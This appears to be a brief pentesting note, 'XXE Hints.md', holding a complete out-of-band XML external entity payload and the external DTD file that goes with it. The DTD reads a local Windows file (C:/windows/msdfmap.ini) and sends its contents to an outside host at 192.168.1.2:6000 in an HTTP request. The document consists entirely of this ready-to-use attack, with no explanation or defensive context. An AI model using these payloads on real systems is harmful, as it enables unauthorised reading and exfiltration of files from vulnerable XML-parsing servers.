XXE Hints.md

• XXE Payload:

<!DOCTYPE xxe [ 
 <!ENTITY % dtd SYSTEM "http://192.168.1.2:6000/ext.dtd">
%dtd;
%all;
%send;]>

• ext.dtd File:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:/windows/msdfmap.ini">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://192.168.1.2:6000/?%file;'>">
%all;